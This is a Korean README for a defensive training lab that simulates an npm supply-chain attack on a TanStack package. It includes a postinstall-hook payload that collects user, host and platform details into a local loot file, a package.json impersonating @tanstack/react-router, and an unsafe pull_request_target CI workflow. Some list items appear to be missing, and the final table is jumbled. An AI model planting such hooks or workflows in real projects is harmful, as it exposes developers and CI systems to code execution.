
CVE-2026-45321을 통한 npm 공급망 공격, CI/CD 남용, 설치 시 코드 실행을 시뮬레이션하는 교육용 랩입니다. 로컬 악성 패키지 배포를 통한 실습형 방어 보안 훈련.
npm 공급망 공격, CI/CD 악용 및 설치 시 코드 실행을 이해하기 위한 교육용 랩
이 프로젝트는 다음 만을 위해 만들어졌습니다:
이 프로젝트를 다음 용도로 사용하지 마세요:
이 랩은 다음 사건들의 기본 개념을 시뮬레이션합니다:
시뮬레이션은 로컬에서 안전하게 수행되며 다음이 포함되지 않습니다:
lab/
├── fake-repo/ # 대상 저장소 시뮬레이션
├── attacker-package/ # 악성 패키지 시뮬레이션
└── victim-project/ # 피해자 시뮬레이션
Attacker Package
↓
npm install
↓
postinstall 스크립트 실행
↓
payload.js 자동 실행
↓
피해자가 설치 시 실행에 노출됨
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
결과:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
성공하면 다음이 나타납니다:
=== MALICIOUS PAYLOAD EXECUTED ===
그리고 파일:
loot.txt
이 자동으로 생성됩니다.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
이 프로젝트는 다음을 이해하는 데에도 사용할 수 있습니다:
워크플로 예시:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| 시뮬레이션 랩 | 실제 환경 |
|---|---|
| attacker-package | 손상된 TanStack 패키지 |
| payload.js | 악성 설치 프로그램 |
| postinstall | 라이프사이클 훅 악용 |
| victim-project |
이 랩은 다음에 대한 인식을 높이기 위해 만들어졌습니다:
| 피해자 개발자/CI |
| fake-repo | GitHub Actions 파이프라인 |